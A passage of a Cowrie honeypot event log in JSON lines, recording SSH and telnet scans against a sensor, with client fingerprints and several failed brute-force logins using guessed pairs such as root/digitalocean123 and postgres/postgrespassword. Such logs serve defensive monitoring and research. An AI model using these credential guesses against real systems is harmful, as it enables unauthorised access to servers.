","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:43.208899Z","src_ip":"156.251.179.157","session":"8a6a7ba757ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.009992361068726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:43.830014Z","src_ip":"103.150.226.61","session":"dfb1288f8991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76119065284729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:44.232261Z","src_ip":"103.150.226.61","session":"22747c062eda","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"!Q2w#E4r","message":"login attempt [test/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:44.730001Z","src_ip":"156.251.179.157","session":"8a6a7ba757ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:45.960660Z","src_ip":"156.251.179.157","session":"8a6a7ba757ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44472,"dst_ip":"159.203.135.109","dst_port":23,"session":"60966f300638","protocol":"telnet","message":"New connection: 103.150.226.61:44472 (159.203.135.109:23) [session: 60966f300638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:46.459499Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":35910,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9924970f363","protocol":"ssh","message":"New connection: 152.32.238.146:35910 (10.17.0.5:22) [session: a9924970f363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:49.582630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:49.587002Z","src_ip":"152.32.238.146","session":"a9924970f363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:49.607007Z","src_ip":"152.32.238.146","session":"a9924970f363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"1","message":"login attempt [gitlab/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:49.688015Z","src_ip":"152.32.238.146","session":"a9924970f363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:50.707198Z","src_ip":"152.32.238.146","session":"a9924970f363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":47698,"dst_ip":"10.17.0.5","dst_port":22,"session":"dedb0fdd6329","protocol":"ssh","message":"New connection: 156.251.179.157:47698 (10.17.0.5:22) [session: dedb0fdd6329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:52.374039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:52.396267Z","src_ip":"156.251.179.157","session":"dedb0fdd6329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:52.643353Z","src_ip":"156.251.179.157","session":"dedb0fdd6329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.42872452735901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:53.235505Z","src_ip":"103.150.226.61","session":"c669129aa908","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"digitalocean123","message":"login attempt [root/digitalocean123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:53.729516Z","src_ip":"156.251.179.157","session":"dedb0fdd6329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:54.953112Z","src_ip":"156.251.179.157","session":"dedb0fdd6329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.934306383132935,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:55.379502Z","src_ip":"104.245.105.2","session":"cb2a3bcb0df3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.716234922409058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:55.751713Z","src_ip":"103.150.226.61","session":"15ff6e86191e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463568210601807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:58.268966Z","src_ip":"103.150.226.61","session":"68e3c77c3fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.333582639694214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:32:59.163774Z","src_ip":"103.150.226.61","session":"8c2de82d919f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491620302200317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:01.324244Z","src_ip":"103.150.226.61","session":"55147b153697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":38546,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3c7709e7d3","protocol":"telnet","message":"New connection: 103.150.226.61:38546 (159.203.135.109:23) [session: 0b3c7709e7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:02.808969Z"}
{"eventid":"cowrie.session.closed","duration":30.970988512039185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:03.222094Z","src_ip":"103.150.226.61","session":"151bafd57983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42213273048401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:04.227482Z","src_ip":"103.150.226.61","session":"3021d9f62648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":49170,"dst_ip":"10.17.0.5","dst_port":22,"session":"b56f69c07ab3","protocol":"ssh","message":"New connection: 156.251.179.157:49170 (10.17.0.5:22) [session: b56f69c07ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:05.300861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:05.356886Z","src_ip":"156.251.179.157","session":"b56f69c07ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:05.747441Z","src_ip":"156.251.179.157","session":"b56f69c07ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespassword","message":"login attempt [postgres/postgrespassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:07.087290Z","src_ip":"156.251.179.157","session":"b56f69c07ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:08.305932Z","src_ip":"156.251.179.157","session":"b56f69c07ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48920178413391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:10.185534Z","src_ip":"103.150.226.61","session":"a1cb536c9c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"110.35.80.116","src_port":48936,"dst_ip":"10.17.0.5","dst_port":23,"session":"36357a2f6746","protocol":"telnet","message":"New connection: 110.35.80.116:48936 (10.17.0.5:23) [session: 36357a2f6746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:15.451545Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":51296,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba916223a6bb","protocol":"ssh","message":"New connection: 46.24.47.94:51296 (10.17.0.5:22) [session: ba916223a6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:18.032262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:18.036548Z","src_ip":"46.24.47.94","session":"ba916223a6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:18.145081Z","src_ip":"46.24.47.94","session":"ba916223a6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia123","message":"login attempt [root/nokia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:18.610797Z","src_ip":"46.24.47.94","session":"ba916223a6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:19.723138Z","src_ip":"46.24.47.94","session":"ba916223a6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.235671520233154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:20.695077Z","src_ip":"103.150.226.61","session":"60966f300638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"c48bced6f88e","protocol":"ssh","message":"New connection: 152.32.238.146:40444 (10.17.0.5:22) [session: c48bced6f88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:28.274376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:28.279342Z","src_ip":"152.32.238.146","session":"c48bced6f88e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:28.302272Z","src_ip":"152.32.238.146","session":"c48bced6f88e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"12345678","message":"login attempt [ftptest/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:28.386131Z","src_ip":"152.32.238.146","session":"c48bced6f88e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:29.400254Z","src_ip":"152.32.238.146","session":"c48bced6f88e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.435258865356445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:33.244133Z","src_ip":"103.150.226.61","session":"0b3c7709e7d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":51156,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c87874240d","protocol":"ssh","message":"New connection: 143.64.168.136:51156 (10.17.0.5:22) [session: 18c87874240d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:38.402906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:38.407653Z","src_ip":"143.64.168.136","session":"18c87874240d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:38.668888Z","src_ip":"143.64.168.136","session":"18c87874240d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:39.628868Z","src_ip":"143.64.168.136","session":"7d260ba2d33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpwd","message":"login attempt [root/adminpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:39.748585Z","src_ip":"143.64.168.136","session":"18c87874240d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:41.013994Z","src_ip":"143.64.168.136","session":"18c87874240d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37078,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4f62131cae","protocol":"telnet","message":"New connection: 20.123.41.163:37078 (10.17.0.5:23) [session: 5c4f62131cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:48.039353Z"}
{"eventid":"cowrie.session.closed","duration":3.6037328243255615,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:33:51.642980Z","src_ip":"20.123.41.163","session":"5c4f62131cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":54646,"dst_ip":"10.17.0.5","dst_port":22,"session":"7518450da85b","protocol":"ssh","message":"New connection: 152.32.238.146:54646 (10.17.0.5:22) [session: 7518450da85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:09.535296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:09.540444Z","src_ip":"152.32.238.146","session":"7518450da85b","protocol":"ssh"}
